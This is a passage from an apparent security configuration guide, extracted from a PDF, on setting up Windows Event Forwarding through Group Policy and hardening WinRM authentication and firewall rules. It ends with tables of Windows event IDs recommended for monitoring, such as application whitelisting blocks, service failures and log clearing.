Any fine-grained customizations to specify the event to collect are discussed in the next section. The configuration of advanced subscription settings sets the frequency of events being received (forwarded). 12. Click the Advanced… button 13. Select Normal oLeave the protocol drop-down list set to HTTP 14. Click the OK button 7 The Event Delivery Optimization options shown in Fi gure 3 permits the collection of event logs in 15 minutes (Normal), 6 hours (Minimize Bandwidth), or 30 seconds intervals (Minimize Latency). [12] A custom interval can be set using the wecutil command line utility. Figure 3: Event Delivery Optimization Configuration Figure 4: Completed Subscription 2.3.1.3.1 Custom Subscriptions Creating subscriptions using the graphical user interface does not allow for complete customization. It may be desirable to customize the frequency of event delivery and the batch amount of a subscription (i.e., number of events to deliver per delivery). A detailed description of the subscription schema is found in the Subscription section of the appendix. Customization of subscriptions depends on the administrator’s needs and requirements. Several custom subscriptions have been created and provided in the Subscriptions section of the appendix. These subscriptions collect events that an enterprise may be interested in collecting from domain computers. The following tables summarize the event IDs and the category they represent for each recommended subscriptions. The Recommended Events to Collect section discusses these events in more detail. Each subscription focuses on varies of categories ranging from account activity, application and computer failures to security notifications and wireless connections. 12 http://technet.microsoft.com/en-us/library/cc749167.aspx 8 Windows Vista and above Events General Event Descriptions General Event IDs Account and Group Activities 4624, 462 5, 4648, 4728, 4732, 4634, 4735,4740, 4756 Application Crashes and Hangs 1000 and 1002 Windows Error Reporting 1001 Blue Screen of Death (BSOD) 1001 Windows Defender Errors 1005, 1006, 1008, 1010, 2001, 2003, 2004, 3002, 5008 Windows Integrity Errors 3001, 3002, 3003, 3004, 3010 and 3023 EMET Crash Logs 1 and 2 Windows Firewall Logs 2004, 2005, 2006, 2009, 2033 MSI Packages Installed 1022 and 1033 Windows Update Installed 2 and 19 Windows Service Manager Errors 7022, 7023, 7024, 7026, 7031, 7032, 7034 Group Policy Errors 1125, 1127, 1129 AppLocker and SRP Logs 865, 866, 867, 868, 882, 8003, 8004, 8006, 8007 Windows Update Errors 20, 24, 25, 31, 34, 35 Hotpatching Error 1009 Kernel Driver and Kernel Driver Signing Errors 5038, 6281, 219 Log Clearing 104 and 1102 Kernel Filter Driver 6 Windows Service Installed 7045 Program Inventory 800, 903, 904, 905, 906, 907, 908 Wireless Activities 8000, 8001, 8002, 8003, 8011, 10000, 10001, 11000, 11001, 11002, 11004, 1100 5, 11006, 11010, 12011, 12012, 12013 USB Activities 43, 400, 410 Printing Activities 307 Table 1: Vista and above Events 2.3.1.4 Creating Custom Views Large amounts of event data are difficult to organize and view in a meaningful way. The Event Viewer allows users to create custom views that organize ev ent data based on a custom filter. Each view can be used to represent a subscription to help identify events collected using the subscription. Custom Views were introduced in Windows Vista. [13] Custom Views can be created on the event collector where all event data is forwarded. To create a custom view: 1. Open Event Viewer and select Custom Views in the left panel 2. Right-click and select Create Custom View… 3. From the drop-down list titled Logged , select a time (e.g., Last 7 days ) a. If a granular time range is needed, select Custom range … from the Logged drop-down list 4. Select an appropriate Event level 5. Select By log and select Forwarded Events from the Event logs drop-down list 6. Enter Event ID(s) in the first text area 7. Click OK 13 http://technet.microsoft.com/en-us/magazine/2006.11.eventmanagement.aspx 9 8. In the Save Filter to Custom View , provide a custom view name representing the data being filtered This creates a custom view under Custom Views in the left panel of the Event Viewer. The newly created custom view will not be neatly organized under Custom Views . Custom views can be organized by navigating to %ProgramData%\Microsoft\Event Viewer\Views and creating a new sub-directory. This newly created directory should have a meaningful name such as “Last 24 hours” to indicate the time period of the events filtered. Creation of the sub-directory requires a privileged account. To display the new directory when it does not appear after creation under Custom Views: 1. Select Custom Views in the left panel of the Event Viewer 2. Select Refresh in the right panel Using a directory named “Last 24 hours,” all custom view XML files within the directory should filter events on the condition that the event occurred within the last 24 hours. An example of a custom view may appear as the following: False ForwardedEvents 2 1 1000 AppCrash The preceding XML looks for events containing EventID 1000 at the Error level (Level 2) that occurred in the last hour (3600000 milliseconds). The preceding steps focused on automatically creating an XPath query to select event data. This does not allow customization of the XPath queries. Manual XPath queries can be entered in the XML tab of the Create Custom View dialog. An alternative option for event filtering is PowerShell’s Get-WinEvent and Get-EventLog Cmdlets. These Cmdlets have the added benefit of permitting more granular filtering via other PowerShell Cmdlets. 2.4 Configuring Source Computer Policies Event forwarding policies can be applied to Windows 7 and above sources with no local configuration. The policies discussed in this sectio n will permit reading of the default log files including the Security log for delivering events to the collector. 2.4.1 Creating Source Group Policy Objects Following the configuration of the collector it should be in a waiting state to receive events from the sources. The sources are configured similarly with the exception that the Windows Event Collector service does not need to be started and each source needs to be able to read their own event logs. The sources, client computers, will be configured usin g GP to enable event forwarding. The demonstration below focuses on forwarding events from Domain Computers only. 10 Each source should be part of a new group and GPO named EventSource where the EventSource GPO applies to the EventSource and Domain Users groups. The EventSource GPO should have both Enforced and Link Enable settings applied. The members of the EventSource group are domain computer objects. If the machine was powered on when added to the group, then the newly added group member requires a reboot for it to be notified of its membership. Figure 5: Event Source GPO 2.4.2 Enabling Windows Remote Management Policy Unlike the approaches used for configuring the collector, WinRM and Event Forwarding will be managed via GP thus not requiring the manual execution of the quick configure option. WinRM can be started using a System Service policy. The only issue that may arise is enabling the predefined WinRM firewall rule. Previously, the quick configure option automati cally enabled this firewall rule. Active Directory provides predefined WinRM firewall rules to avoid executing the WinRM command manually on all source computers. Configuration of firewall rules is discussed later. The WinRM service can be found by navigating to Computer Configuration > Policies > Windows Settings > Security Settings > System Services > Windows Remote Management (WS-Management) in Group Policy Management Editor. To set the service to automatic: 1. Right-click the Windows Remote Management (WS-Management) service and select Properties 2. Select the Define this policy setting checkbox 3. Select the Automatic option 4. Click the OK button 11 Figure 6: Enabling Windows Remote Management Figure 7: Setting Service Startup Type Navigate to the WinRM policies located at Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management > WinRM Service in the Group Policy Management Editor. WinRM requires listeners to be available for inbound connections. The Allow automatic configuration of listeners policy shown in Figure 9 instructs WinRM to create listeners on port 5985 for WinRM 2.0 and above. To enable WinRM listeners: 1. Set the Allow automatic configuration of listeners policy to Enabled 2. Set both IPv4 and IPv6 filter value to * Figure 8: Enabling WinRM listeners Figure 9: WinRM listener's IP Filter Options Within the Allow automatic configurations of listeners dialog, the IPv4/IPv6 filter values should be set to *. This ensures that WinRM starts running and listens on the “any” IP address (IPv4 is 0.0.0.0 and IPv6 is “::”) for both protocols. The IPv6 filter is not required to enable a WinRM listener. Enabling an IPv6 12 listener is an administrative decision. The WinRM service only listens on an IPv4 address when no IPv6 address (or *) is supplied for the filter. 2.4.3 Enabling Event Forwarding Policy The source needs to be configured to forward events to the targeted subscription manager. The subscription manager (collector) hosts all the subscriptions created on the collector. The source needs to contact the manager to retrieve the list of subscr iptions. These subscriptions specify the events to forward. Once the source gathers all the events pertaining to these subscriptions, the events will be delivered to the collector. The Configure the server address, refresh interval , and issuer certificate authority of a target policy sets the configuration settings on how to communicate with the collector. This policy sets the collector’s internet protocol (IP) address, how often to send events to the collector, and a thumbprint of the client’s certificate if using HTTPS. This policy must be enabled to forward events. Event Forwarding is the main component for enabling event monitoring in an enterprise. Event Forwarding policies can be located by navigating to Computer Configuration > Policies > Administrative Templates > Windows Components > Event Forwarding . To enable Event Forwarding: 1. Set the Configure the server address, refresh interval, and issuer certificate authority of a target Subscription Manager policy to Enabled 2. Click the Show… button Figure 10: Enable SubscriptionManager The SubscriptionManagers dialog has several options that can be set to configure event forwarding. The only requirement of this policy is to set the Server option. Any additional options can be omitted. The syntax of SubscriptionManagers value is: Server=[http|https]://FQDN[:PORT][/wsman/S ubscriptionManager/WEC[,Refresh=SECONDS][ ,IssuerCA=THUMBPRINT]] Each option for the SubscriptionManager is a comma delimited string containing the following parts: 13 xServer: FQDN or Hostname xRefresh: The number of seconds to send events to the server[14] xIssuerCA: Thumbprint of the client authentication certificate[14] The last option, IssuerCA, is used for forwarding events between domain and non-domain event collector and sources, respectively. This option can be ignored for our intended purposes. Figure 11 shows an example Subscription Manager value. The refresh interval should be determined by administrative requirements. Using the default refresh interval is recommended. In a network solely using WinRM 2.0, the Server option needs to specify port 5985, otherwise it will send traffic to port 80. Server=http://FQDN:5985/wsm an/SubscriptionManager/WEC When both WinRM 2.0 and WinRM 1.1 are intermix ed and the collector has enabled compatibility mode, remove the explicit port from the Subscription Manager Uniform Resource Locator (URL). Server=http://FQDN/wsman/SubscriptionManager/WEC Figure 11: Configuration of SubscriptionManager Once the SubscriptionManager value has been set, click OK. 14 http://msdn.microsoft.com/en-us/library/bb870973(VS.85).aspx 14 WinRM and the Server Option WinRM will attempt to connect to the collector on port 80 regardless of version. If the URL specified in the Server option uses HTTP and has omitted the port value 5985, WinRM will communicate over port 80. The collector may not accept WinRM client connections on port 80 if the latest WinRM versions are used. A compatibility listener can be configured to tell WinRM to additionally listen on port 80. Enabling a compatibility listener on the collector is accomplished by using the following command: winrm set winrm/config/service @{EnableCompatibilityHttpListener=“true”} The compatibility listener binds WinRM to a second port (80) and accepts traffic on this port. Once a WinRM client has established a connection with the co llector, all ensuing traffic will be redirected to port 5985. EnableCompatibilityHttpListener intended purpose is to permit versions of WinRM prior to 2.0 to communicate with new versions of WinRM. A caveat to enabling this option is that an additional port will be open on the server, which is a potential se curity concern. Explicitly specify port 5895 in the URL of the Server option when configuring the subscription manager for sources. This avoids the creation of an additional port and firewall rules. Windows 7 (and above) sources are not permitted to read event logs (e.g., Application, Security, Setup and System) for event forwarding. [15] The sources need to add the NETWORK SERVICE account to the Event Log Readers group under Restricted Groups in the EventSource GPO. The members of the Event Log Readers group are permitted to read event logs. WinRM runs with Network Service permissions on Windows 7 and above. Restricted groups can be configured by navigating to Computer Configuration > Policies > Windows Settings > Security Settings > Restricted Groups in Group Policy Management. To add the Event Log Readers to the Restricted Group Policy: 1. Right-click Restricted Groups 2. Select Add Group… 3. In the Add Group dialog box, click the Browse… button 4. Enter Event Log Readers in the text area of the Select Groups dialog box 5. Click Check Names 6. Once Event Log Readers appears, click OK To add the Network Service account to the Event Log Readers group: 1. Right-click Event Log Readers group and select Properties 2. In Event Log Readers Properties , select Add… in the Members of this group section 3. Select Browse… and enter NETWORK SERVICE in the text area 4. Select Check Names 5. Once NETWORK SERVICE appears, click OK 6. Click OK in Event Log Readers Properties The Network Service account can be added locally as an alternative option. In Computer Management (compmgmt.msc), add Network Service to the Event Log Readers group. The Network Service account is not part of the Event Log Readers group in Computer Management, but can be added by navigating to 15 http://blogs.msdn.com/b/wmi/archive/2009/04/06/forwarding-security-related-events-from-xp-win2k3-vista-using-winrm-wsman-event - forwarding.aspx 15 Computer Management > Local and User groups > Groups > Event Log Readers and adding this account. The Event Log Readers group will be shown in its SID format (S -1-5-32-573), rather than as an easily readable name, until a Windows Server 2008 or Windows 2008 R2 Domain controller has been made the Primary Domain Controller Operations Master role holder of the domain. [16] For additional Organizational Units (OUs) that contain user workstations, previously created GPOs can be applied against those OUs. 2.5 Disabling Windows Remote Shell When WinRM completes execution of quickconfig, Wi ndows Remote Shell (WinRS) will be enabled by default and will accept connections. This poses a securi ty risk as there are attacks that leverage this feature. WinRS should be disabled for all servers and clients in the domain. If the Windows Remote Shell service is needed for a task (e.g., PowerShell’s PSSe ssion-family Cmdlets), temporarily enable it and then disable it when the task is completed. The registry keys for WinRS can be found in the WinRM Registry Keys and Values section of the Appendix. WinRS can be disabled for domains via Group Policy. This policy enforcement applies for the co llector and sources in the domain. WinRS policies can be found by navigating to Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Shell . To disable WinRS: 1. Set the Allow Remote Shell Access policy to Disabled 2. Click OK WinRS can also be disabled by using the command line: winrm set winrm/config/winrs @{AllowRemoteShellAccess=”false”} 2.6 Firewall Modification Event collection aids in identifying problems from a remote computer using WinRM. The communication channel opens an additional attack vector on each of the sources and collectors. The purpose of event forwarding is solely to communicate with the collector(s). An attacker may attempt to attack or perform reconnaissance of other machines laterally with WinR M services. The isolation of sources and collectors limits an attacker from using this service as a target. Certain environments may enforce firewall rule me rging restrictions for servers. Enforcing these restrictions will hinder the configuration of locally applied WinRM firewall rule exceptions. The removal of rule merging restrictions is en couraged for the collection server. WinRM should have configured Windows Firewall to allow WinRM connections when using quickconfig. The EventSource GPO firewall policies should be enabled for all profiles. This section serves as a list of alternate methods to enable WinRM firewall exceptions. Windows Firewall with Advanced Security policy should be enabled for all profiles. 16 http://support.microsoft.com/kb/243330 16 2.6.1 Collector Firewall In Windows Server 2008 R2, Windows Firewall with Advanced Security has two predefined firewall rules that can be enabled from the GUI or the command line. The first predefined rule, Windows Remote Management (HTTP-In) , allows network traffic to the local po rt 5895 on the collector for machines running WinRM 2.0. The second predefined rule, Windows Remote Management – Compatibility (HTTP-In) , allows traffic from versions of WinRM prior to 2.0 to communicate with the collector on port 80. The use of the WinRM compatibility firewall rule should be enabled if a compatibility listener is configured on the collector. [17] WinRM firewall rule must be applied to Domain, Private, and Public profiles. Any modification of this setting (i.e., selecting Domain only) will result in an error with subscriptions running and sources communicating with the subscription manager. 2.6.1.1 Graphical User Interface Windows Firewall with Advanced Security can be managed using two available options: local or group policies. These graphical options are not required since configuration of the firewall was performed during the WinRM setup and can be used to verify the WinRM firewall rule’s status. 2.6.1.1.1 Windows Firewall with A dvanced Security Group Policy The creation of a firewall policy for WinRM can be set using a predefined rule. Expand Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security > Windows Firewall with Advanced Security – ADsPath > Inbound Rules . To enable WinRM firewall rules: 1. Right-click on Inbound Rules and select New Rule… 2. Select Windows Remote Management from the Predefined drop-down list 3. Click the Next button 4. Select Windows Remote Management – Compatibility Mode (HTTP-In) or Windows Remote Management (HTTP-In) depending on environment setup. Select both rules if the network is intermixed with WinRM 2.0 and earlier versions. 5. Click the Next button 6. Select Allow the connection 7. Click Finish The predefined WinRM rule permits either WinRM 2.0 traffic (port 5985) or compatibility mode traffic (port 80). The option to enable the WinRM rule in compatibility mode or not depends if the environment is consist of WinRM 2.0 and earlier versions. 17 See the WinRM and Server Option note of the Enabling Event Forwarding Policy section for more information. 17 Figure 12: GPO Inbound Firewall Rules Figure 13: Open Ports for WinRM The last configuration step for creating the new ru le is allowing the connection. Windows Firewall will enable these rules for all profiles and accept traffic from any IP (remote and local) by default. Figure 14: Allow Any Connection to Port Figure 15: Verify Firewalls are Enabled 2.6.1.2 Configuring the Firewall using the Command Line The benefit of executing a firewall command allows the user to avoid navigating through the GUI to find the desired configuration options. The following commands demonstrate how to enable WinRM firewall rules for compatibility mode respectively: netsh advfirewall firewall set rule name=”Windows Remote Management (HTTP-In)” new enable=yes If an error message “A specific value is not valid ” appears, verify the rule’s name. The alternative approach is to enter the netsh context, followed by the advfirewall context, and the firewall context. In the firewall context, repeat the command for the specific rule. 2.6.2 WinRM 2.0 Source Firewall When WinRM is executed with the quickconfig option, it creates a default firewall rule that allows inbound WinRM traffic. The firewall rule automatically sets the required port (80 or 5985) depending on the WinRM version. Configuring WinRM locally on sources is discouraged as using Group Policy is more manageable. 18 Sources using WinRM 2.0 require that port 5985 is allowed through the firewall. The predefined rule Windows Remote Management (HTTP-In) should only be enabled on a computer using WinRM 2.0. The steps for enabling the firewall rule via GPO for th e sources can be done by following the Windows Firewall with Advanced Security Group Policy section. This rule should be applied to Windows Vista (if upgraded to WinRM 2.0) and beyond as it uses Windows Firewall with Advanced Security. The firewall rule should be applied to Domain profiles only. Figure 16: Predefined Rule for WinRM 2.0 Once the WinRM firewall rule is enabled, update the group policy changes using gpupdate. Events should be populating the collector’s log. If no events are received, then troubleshooting techniques are provided in the Troubleshooting section. 2.7 Restricting WinRM Access The default rules permit connections from any IP address to the specific WinRM port. An attacker who has presence on a network can possibly move laterally between machines and servers by accessing WinRM services. Mitigation to this attack is custom izing the predefined rules to only allow connections between collectors and sources. A policy for specifying the IP scope for both source and collector machine is discussed in this section. These configurations apply to the WinRM predefined firewall rules under Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security > Inbound Rules . 2.7.1 Source Firewall Modifications To enable WinRM firewall rules on the sources: 1. Right-click the predefined WinRM firewall rule and select Properties 2. Navigate to the Scope tab 3. In the Remote IP Address area and select the These IP addresses option 4. Click the Add… button 5. Select the This IP address or subnet option and enter the IP address of the collector 6. Click OK Figure 17: Adding Selective IP addresses Figure 18: Add IP of Event Collector 19 Configuring a whitelist, which accepts WinRM tra ffic only from the collector, is recommended. 2.7.2 Collector Firewall Modification As done in the Source Firewall Modifications section, repeat the steps for the predefined WinRM rule. Setting the Predefined set of computers option to Local subnet is recommended. This rule can be changed to best suit your environment. Figure 19: The Event Collector Firewall allowing Local subnet to Connect Group Policy Firewall Problem While viewing a subscription in Event Viewer, the following error may appear. As the dialog states, a firewall exception needs to be applied or a firewall setting was modified incorrectly. Verify that when you enabled the predefined firewall rules via a Gro up Policy that the firewall profile for the rule is enabled as well. A more detailed error message can be obtained by providing the name of the desired subscription (subscriptionID): wecutil get-subscriptionruntimestatus SubscriptionID Figure 20: Event Viewer Subscription Creation Error 2.8 Disabling WinRM and Windows Collector Service Windows Remote Management (WinRM) and Event Forwarding can be disabled from operating in the network. These services can be stopped in the Services Microsoft Management Console (MMC) snap-in. Each subscription created and in use should be disabled on the event collector server. To disable collection of events on the event collector server: 1. Open Services MMC snap-in 2. Right-click the Windows Remote Management service and select Properties 3. Change the Startup type to Disabled 20 4. In Services status option, select Stop 5. Click OK 6. Repeat steps 1 through 5 for the Windows Event Collector service WinRM can be disabled on each source that was configured by a GP. The following steps are performed on the Domain Controller for domains using WinRM and Event Forwarding: 1. Open Group Policy Management Editor 2. Navigate to Computer Configuration > Policies > Windows Settings > Security Settings > System Services 3. Right-click the Windows Remote Management service and select Properties 4. Set Startup type to Disabled 5. Click OK 6. Navigate to Computer Configuration > Policies > Administrative Templates > Event Forwarding 7. Set the Configure the server address, refresh interval, and issuer certificate authority of a target Subscription Manager policy to Disabled 8. Click OK Repeat the above steps for any additional OUs that use Event Forwarding and WinRM. 3 Hardening Event Collection Windows Remote Management (WinRM) provides security options for authentication and uses other security technologies to encrypt communication channels. This section explains how to securely configure WinRM. 3.1 WinRM Authentication Hardening Methods WinRM configuration is divided into two parts: service and client. The service configuration is used to manage the WinRM service that receives WS-Management requests from clients. [18] The following methods of authentication are supported by WinRM: [19] xBasic Authentication xDigest Authentication xCredential Security Support Provider (CredSSP) xNegotiate Authentication xKerberos Authentication xClient Certificate-based Authentication xChannel Binding Token The authentication methods for the WinRM client and service can be located by navigating to Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) . WinRM Service and WinRM Client authentication methods are respectively shown in Figure 21 and Figure 22. 18 http://technet.microsoft.com/en-us/library/cc775103(v=ws.10).aspx 19 http://msdn.microsoft.com/en-us/library/windows/desktop/aa384372(v=vs.85).apsx 21 The client has the option to set Digest Authentica tion, while the service does not. Additionally, the service can allow hardening of WinRM TLS connections using channel binding tokens. Figure 21: WinRM Service Authentication Policies Figure 22: WinRM Client Authentication Policies The Allow unencrypted traffic policy is not part of authentication. Default value for both Client and Service configuration of the aforementioned policy is Disabled . Setting this policy to Disabled is recommended. 3.1.1 Basic Authentication The client can use basic authentication to communicate with a WinRM service. Setting the Allow Basic authentication to Disabled is recommended. Default Client Configuration: True Default Service Configuration: False Setting both to Disabled is recommended. 3.1.2 Digest Authentication This mode of authentication is a challenge-response scheme. The client will initiate the request and in response, the server will send a server-specified toke n string to the client. After the token string has been received, the client will append the resource requ est with the username of the client, the hash of the username’s password, and the token string to the response message. [19] The WinRM service does not accept digest authentication as shown in Figure 21. [20][21] Default Service Configuration: Not Applicable Default Client Configuration: True Setting the client configuration to False is recommended. Setting the Disallow Digest Authentication policy to Enabled is recommended. 20http://msdn.microsoft.com/en-us/library/windows/desktop/aa384295(v=vs.85).aspx 21 http://msdn.microsoft.com/en-us/library/windows/desktop/aa384372(v=vs.85).aspx 22 3.1.3 Credential Security Support Provider Credential Security Support Provider (CredSSP) provides a secure way to delegate a user’s credentials from a client to a target server. [19][22][23] The SSP provides the capability of Single Sign-on (SSO) in Terminal Services sessions. [23] This option is only available for WinRM 2.0. Setting the Allow CredSSP authentication policy to Disabled is recommended. Default Client Configuration: False Default Service Configuration: False Setting both to Disabled is recommended. 3.1.4 Negotiate Authentication Negotiate authentication is a Security Support Provider (SSP) that provides a client two alternative methods for authentication: Kerberos and NTLM. [24][25][26] Negotiate will initially select Kerberos as the default; otherwise, NTLM is used. [19] Default Client Configuration: True Default Service Configuration: True Disabling Negotiate authentication may result in unf oreseen problems when trying to configure WinRM locally. It is recommended to comple te configuration of the event collection network prior to enforcing this policy. Issuing the WinRM command with the remo te destination switch containing the local host value while the client machine is part of a do main, WinRM will use Negotiate authentication. [27] If an error arises stating Negotiate authentication is disabled, a workaround is to use Kerberos locally by specifying the local hostna me in the remote switch. [28] Setting the Disallow Negotiat e Authentication policy to Enabled is recommended. Setting both to Enabled is recommended. 3.1.5 Kerberos Authentication Kerberos version 5 is used as a method of authentication and communication between the service and client. [29][30][31] Setting the Disallow Kerberos Authentication policy to Disabled is recommended. Default Client Configuration: True Default Service Configuration: True Setting both to Disabled is recommended. 22 ([MS-CSSP]: Credential Security Support Provider (CredSSP) Procotol, 2012) 23 http://technet.microsoft.com/en-us/library/cc749211(WS.10).aspx 24 http://technet.microsoft.com/en-us/library/cc755084(v=ws.10).aspx 25 (Installation and Configuration for Windows Remote Management, 2012) 26 http://msdn.microsoft.com/en-us/library/windows/desktop/aa378748(v=vs.85).aspx 27 http://msdn.microsoft.com/en-us/library/windows/desktop/aa384295(v=vs.85).aspx 28 WinRM errorcode 0x803380E1 29 http://www.ietf.org/rfc/rfc1510.txt 30 http://technet.microsoft.com/en-us/library/cc772815(v=ws.10).aspx 31 http://technet.microsoft.com/en-us/library/cc753173(v=ws.10).aspx 23 3.1.6 Client Certificate-Based Authentication Services can verify the connecting client’s authenticity by examining its certificate. If the authentication process fails, then the client’s connection is rejected. Default Client Configuration: True Default Service Configuration: False Setting both to False is recommended. There is no Group Policy setting to disable Certificate-Based Authentication for WinRM’s client configuration. The only altern ative is via the command line: winrm set winrm/config/client/auth @{Certificate=”false”} [32] Accessing each source to manually configure this setting is not recommended. This authentication recommendation should be set on the collector. 3.1.7 Channel Binding Token A common threat amongst NTLM, NTLMv2, and Kerberos authentication methods is a Man-in-the- Middle (MitM) attack. [33] Channel Binding Token (CBT) authentication option involves securing communication channels between a client and server using Transport Layer Security (TLS). A MitM attacker is positioned between a client and a server to impersonate as both the server and client. When the client initiates a request to the server, the attacker captures the client’s first request and forwards it to the server on the client’s behalf. The server responds with an authentication request. The attacker receives the server’s request and forwards the request to the client. When this request is received by the client, the client sends their credentials as a response. As previously done, these credentials are sent to the attacker because the client assumes it is co mmunicating with the server and now the attacker can access the resource. [34][35][36] CBT improves the security of the communication channel between the server and the client. If a MitM is being conducted, then the two connect ions will generate two different tokens (sessions in particular; server-to-attacker and client-to-attacker). When the CBT-aware server notices this discrepancy, it will refuse the authentication request. Note, this option is not available prior to WinRM 2.0 . Channel Binding Tokens option can be set to: [37] xNone - Not using any CBTs xRelaxed - Any invalid tokens are rejected, but an y channel without a binding token will be accepted xStrict - Any request with an invalid channel token is rejected Default Service Configuration: Relaxed 32 If you get an error regarding Negotiate authentication failed after applying hardening authentication methods, see Troubleshoo ting section in Appendix and the Negotiate Authentication section. 33 Securing Windows Networks: Security Advice From The Front Line by Robert Hensing – Microsoft PSS Security; http://it.northwestern.edu/bi n/docs/windows_network.ppt 34 http://msdn/microsoft.com/en-us/library/vstudio/dd767318(v=vs.90).aspx 35 http://blogs.technet.com/b/srd/archive/2009/12/08/ extended-protection-for-authentication.aspx 36 http://tools.ietf.org/html/rfc5056 37 Specify channel binding token hardening level policy within Windows Remote Management > WinRM Service on Windows Server 2008 R2. 24 If using TLS, setting the Specify channel binding token hardening level policy to Strict is recommended; otherwise, set the policy to Disabled . 3.1.8 Trusted Host Trusted Host authentication is used for computer s not using HTTPS or Kerberos for authentication. [38] A list of computers (non-domain members) can be provided and marked trusted. These computers, when using WinRM, will not be authenticated. [21] Default Client Configuration: False Setting the Trusted Hosts policy to Disabled is recommended unless collection from non-domain sources required. 3.2 Secure Sockets Layer and WinRM Event Forwarding is not solely for domain joined computers. Computers not joined to a domain can use the Event Forwarding feature of Windows under the condition that TLS/SSL is used. WinRM traffic between the collector and source, domain or non-domain computers, are encrypted either using Windows Integrated Authentication or HTTPS respectively. [20][39][90] The message payload of WinRM’s HTTP traffic is encrypted using one of the three authentication methods provided by Integrated Windows Authentication: Negotiate, Kerberos, or CredSSP. [40][41][83] The default encryption method used for WinRM’s HTTP traffic is Kerberos or Negotiate; otherwise TLS/SSL is used. [42][43] WinRM for non- domain computer uses client certificate mapping to authenticate the collector and source. The general steps consist of configuring the listening port, creating certificates for collectors and sources, configuring the subscription manager, creating certificates, and configuring subscriptions. A more detailed explanation of configuring WinRM to use TLS/SSL for non-domain computers is provided by Microsoft. [14][43] 4 Recommended Events to Collect This section contains a basic set of events recommended for central collection and review by administrators. The presence of a collected event is not necessarily malicious, and should be reviewed in the appropriate context. Event logs provide a record of activities that can be referenced when malicious activity is discovered on a workstation. Microsoft has released a document titled Best Practices for Securing Active Directory [44] focusing on several topics from defending against different attacks on Active Directory installations to recommending an ex tensive list of events to monitor in a domain. The events recommended herein are critical to identify behavior and health of a machine. Collection of the certain recommended events (e.g., account logons) require Domain Controllers or Member servers to be configured for Event Forwarding as a source. Certain events (e.g., account 38 http://technet.microsoft.com/en-us/magazine/ff700227.aspx 39 http://support.microsoft.com/kb/2019527 40 http://msdn.microsoft.com/en-us/library/cc251574.aspx 41 http://technet.microsoft.com/en-us/security/advisory/974926 42 winrm help config 43 http://support.microsoft.com/kb/2019527 44 http://www.microsoft.com/en-us/download/details.aspx?id=38785 25 management) are only generated on Domain Controllers in a domain setting whereas those same events are generated on the local mach ine in non-domain settings. 4.1 Application Whitelisting Application whitelisting events should be collected to look for applications that have been blocked from execution. Any blocked applications could be malware or users trying to run unapproved software. Software Restriction Policies (SRP) is supported on Windows XP and above. The AppLocker feature is available for Windows 7 and above Enterprise and Ultimate editions only. [45] Application Whitelisting events can be collected if SRP or AppLocker are actively being used on the network. ID Level Event Log Event Source AppLocker Block 8003 8004 Error Warning Microsoft-Windows- AppLocker/EXE and DLL Microsoft-Windows-AppLocker AppLocker Warning 8006 8007 Error Warning Microsoft-Windows- AppLocker/MSI and Script Microsoft-Windows-AppLocker SRP Block 865, 866, 867, 868, 882 Warning Application Microsoft-Windows- SoftwareRestrictionPolices Table 2: Whilelisting Events 4.2 Application Crashes Application crashes may warrant investigation to determine if the crash is malicious or benign. Categories of crashes include Blue Screen of Death (BSOD), Windows Error Reporting (WER), Application Crash and Application Hang events. If the organiza tion is actively using the Microsoft Enhanced Mitigation Experience Toolkit (EMET), th en EMET logs can also be collected. ID Level Event Log Event Source App Error 1000 Error Applic ation Application Error App Hang 1002 Error Application Application Hang BSOD 1001 Error System Microsoft-Windows-WER- SystemErrorReporting WER 1001 Informational Application Windows Error Reporting EMET 1 2 Warning Error Application Application EMET Table 3: Application Events 4.3 System or Service Failures System and Services failures are interesting events th at may need to be investigated. Service operations normally do not fail. If a service fails, then it may be of concern and should be reviewed by an administrator. If a Windows service continues to fail repeatedly on the same machines, then this may indicate that an attacker is targeting a service. ID Level Event Log Event Source Windows Service Fails or Crashes 7022, 7023, 7024, 7026, 7031, 70 32, 7034 Error System Se rvice Control Manager Table 4: System Events 45 http://technet.microsoft.com/en-us/library/dd759131.aspx 26 4.4 Windows Update Errors A machine must be kept up to date to mitigate know n vulnerabilities. Although unlikely, these patches may sometimes fail to apply. Failure to update issues should be addressed to avoid prolonging the existence of an application issue or a vulnerabilit y in the operating system or an application. ID Level Event Log Event Source Windows Update Failed 20, 24, 25, 31, 34, 35 Error Microsoft-Windows- WindowsUpdateClient/Operational Microsoft-Windows- WindowsUpdateClient Hotpatching Failed 1009 Informational Setup Microsoft-Windows- Servicing Table 5: Windows Update Failed Events 4.5 Windows Firewall If client workstations are taking advantage of the built-in host-based Windows Firewall, then there is value in collecting events to track the firewall status . For example, if the firewall state changes from on to off, then that log should be collected. Normal us ers should not be modifying the firewall rules of their local machine. ID Level Event Log Event Source Firewall Rule Add 2004 Informational Microsoft-Windows- Windows Firewall With Advanced Security/Firewall Microsoft-Windows-Windows Firewall With Advanced Security Firewall Rule Change 2005 Informational Microsoft-Windows- Windows Firewall With Advanced Security/Firewall Microsoft-Windows-Windows Firewall With Advanced Security Firewall Rules Deleted 2006, 2033 Informational Microsoft-Windows- Windows Firewall With Advanced Security/Firewall Microsoft-Windows-Windows Firewall With Advanced Security Firewall Failed to load Group Policy 2009 Error Microsoft-Windows- Windows Firewall With Advanced Security/Firewall Microsoft-Windows-Windows Firewall With Advanced Security Table 6: Firewall Events The above events for the listed versions of the Windows operating system are only applicable to modifications of the local firewall settings. 4.6 Clearing Event Logs It is unlikely that event log data would be cleared during normal operations and it is likely that a malicious attacker may try to cover their tracks by clea ring an event log. When an event log gets cleared, it is suspicious. Centrally collect ing events has the added benefit of making it much harder for an attacker to cover their tracks. Event Forwarding permits sources to forward multiple copies of a collected event to multiple collectors thus enabling redundant event collection. Using a redundant event collection model can minimize the single point of failure risk. ID Level Event Log Event Source Event Log was Cleared 104 Informational System Microsoft-Windows-Eventlog Audit Log was Cleared 1102 Informational Security Microsoft-Windows-Eventlog Table 7: Log Activity Events 27 4.7 Software and Service Installation As part of normal network operations, new software and services will be installed, and there is value in monitoring this activity. Administrators can review these logs for newly installed software or system services and verify that they do not pose a risk to the network. ID Level Event Log Event Source New Kernel Filter Driver 6 Informational System Microsoft-Windows- FilterManager New Windows Service 7045 Informational System Service Control Manager New MSI File Installed 1022, 1033 Informational Application MsiInstaller New Application Installation 903, 904[46] Informational 